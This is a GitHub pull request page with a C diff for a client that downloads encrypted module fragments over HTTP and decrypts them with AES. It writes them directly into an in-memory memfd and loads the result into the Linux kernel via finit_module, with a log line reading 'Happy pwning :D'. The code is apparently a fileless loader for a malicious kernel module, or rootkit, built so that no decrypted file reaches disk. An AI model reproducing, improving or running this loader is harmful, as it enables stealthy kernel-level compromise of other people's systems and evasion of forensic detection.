Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Decrypt and write each fraction to memfd directly #48

Merged
merged 9 commits into from
Nov 6, 2024
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
2 changes: 1 addition & 1 deletion client/include/fraction.h
Original file line number Diff line number Diff line change
Expand Up @@ -25,7 +25,7 @@ typedef struct {
uint8_t *data;
} fraction_t;

int download_fraction(int sfd, char *url, fraction_t *fraction);
int download_fraction(int sfd, fraction_t *fraction);
int fraction_parse(char *data, size_t size, fraction_t *fraction);
int check_magic(uint32_t data);
void print_fraction(fraction_t fraction);
Expand Down
4 changes: 2 additions & 2 deletions client/include/load.h
Original file line number Diff line number Diff line change
Expand Up @@ -6,7 +6,7 @@
#include "../include/cipher.h"
#include "../include/log.h"

uint8_t *decrypt_lkm(fraction_t *fractions, int fractions_count, ssize_t *len, unsigned char *key);
int load_lkm(const uint8_t *lkm, ssize_t total_size);
int decrypt_lkm(fraction_t *fractions, int fractions_count, unsigned char *key);
int load_lkm(int fd);

#endif
6 changes: 5 additions & 1 deletion client/src/cipher.c
Original file line number Diff line number Diff line change
Expand Up @@ -37,29 +37,33 @@ int base64_decode(const char *b64_input, unsigned char **output,
}

ssize_t aes_decrypt(uint8_t *ciphertext, size_t ciphertext_len, uint8_t *key,
uint8_t *iv, uint8_t *plaintext) {
uint8_t *iv, uint8_t *plaintext) {
EVP_CIPHER_CTX *ctx;
int len;
int plaintext_len;

if (!(ctx = EVP_CIPHER_CTX_new())) {
EVP_CIPHER_CTX_free(ctx);
print_errors();
return -1;
}

if (1 != EVP_DecryptInit_ex(ctx, EVP_aes_256_cbc(), NULL, key, iv)) {
EVP_CIPHER_CTX_free(ctx);
print_errors();
return -1;
}

if (1 !=
EVP_DecryptUpdate(ctx, plaintext, &len, ciphertext, ciphertext_len)) {
EVP_CIPHER_CTX_free(ctx);
print_errors();
return -1;
}
plaintext_len = len;

if (1 != EVP_DecryptFinal_ex(ctx, plaintext + len, &len)) {
EVP_CIPHER_CTX_free(ctx);
print_errors();
return -1;
}
Expand Down
13 changes: 2 additions & 11 deletions client/src/fraction.c
Original file line number Diff line number Diff line change
@@ -1,21 +1,12 @@
#include "../include/fraction.h"
#include "../include/crc32.h"

int download_fraction(int sfd, char *url, fraction_t *fraction) {
char *path = NULL;
int download_fraction(int sfd, fraction_t *fraction) {
http_res_t res;
fraction_t downloaded_fraction = {};

// Parse the URL to get the path
path = get_path_from_url(url);
if (!path) {
log_error("Invalid URL: %s", url);
return 1;
}

// Perform the HTTP GET request
if (http_get(sfd, path, &res) != HTTP_SUCCESS) {
log_error("Failed to download: %s", url);
if (http_get(sfd, "/stream", &res) != HTTP_SUCCESS) {
return 1;
}

Expand Down
102 changes: 46 additions & 56 deletions client/src/load.c
Original file line number Diff line number Diff line change
Expand Up @@ -12,86 +12,76 @@
#include <stdlib.h>
#include <string.h>

uint8_t *decrypt_lkm(fraction_t *fractions, int fractions_count, ssize_t *len, unsigned char *key) {
int decrypt_lkm(fraction_t *fractions, int fractions_count,
unsigned char *key) {

uint8_t *module = NULL;
ssize_t total_size = 0;
ssize_t module_size = 0;
ssize_t ret;
int fd;
size_t module_size = 0;
ssize_t ret, written;
uint8_t *buf;
char *filename;

for (int i = 0; i < fractions_count; i++) {
total_size += fractions[i].data_size;
}
filename = generate_random_string();

// total_size at this point is the size of all the cipher text which is
// bigger than the size of the LKM
module = malloc(total_size);
log_debug("Using random filename %s", filename);

if (module == NULL) {
log_error("Could not allocate memory for LKM");
return NULL;
fd = syscall(SYS_memfd_create, filename, 0);

free(filename);

if (fd < 0) {
log_error("memfd_create failed");
return fd;
}

for (int i = 0; i < fractions_count; i++) {
// this is always bigger then the plain text size
buf = malloc(fractions[i].data_size);

ret = aes_decrypt(fractions[i].data, fractions[i].data_size, key,
fractions[i].iv, module + module_size);
fractions[i].iv, buf);
if (ret < 0) {
log_error("Could not decrypt fraction at index %d", i);
free(module);
return NULL;
close(fd);
free(buf);
return -1;
}
module_size += ret;
log_debug("Decrypted fraction %d, current module size %ld", i, module_size);
}

log_debug("Decrypted LKM. LKM size = %ld bytes, buffer size = %ld bytes, "
"wasted = %ld bytes",
module_size, total_size, total_size - module_size);

*len = module_size;
return module;
}

int load_lkm(const uint8_t *lkm, ssize_t total_size) {
int fdlkm;
ssize_t written_bytes;
char *filename;
written = write(fd, buf, ret);

filename = generate_random_string();
if (written < 0) {
log_error("Error writing to memfd");
close(fd);
free(buf);
return -1;
}

log_debug("Using random filename %s", filename);

fdlkm = syscall(SYS_memfd_create, filename, 0);
if (written != ret) {
log_error("Incomplete write to memfd (Expected %ld, wrote %ld)",
ret, written);
close(fd);
free(buf);
return -1;
}

free(filename);
module_size += ret;
log_debug("Decrypted fraction %d, current module size %ld", i, module_size);

if (fdlkm < 0) {
log_error("memfd_create failed");
return -1;
free(buf);
}

written_bytes = write(fdlkm, lkm, total_size);
if (written_bytes < 0) {
log_error("Error writing to memfd");
close(fdlkm);
return -1;
}

if (written_bytes != total_size) {
log_error("Incomplete write to memfd (Expected %zu, wrote %zd)", total_size,
written_bytes);
close(fdlkm);
return -1;
}
log_debug("Decrypted LKM. LKM size = %ld", module_size);

return fd;
}

if (syscall(SYS_finit_module, fdlkm, "", 0) != 0) {
int load_lkm(int fd) {
if (syscall(SYS_finit_module, fd, "", 0) != 0) {
log_error("Failed to init module");
close(fdlkm);
return -1;
}

log_info("Module loaded successfully. Happy pwning :D");
close(fdlkm);

return 0;
}
Loading
Loading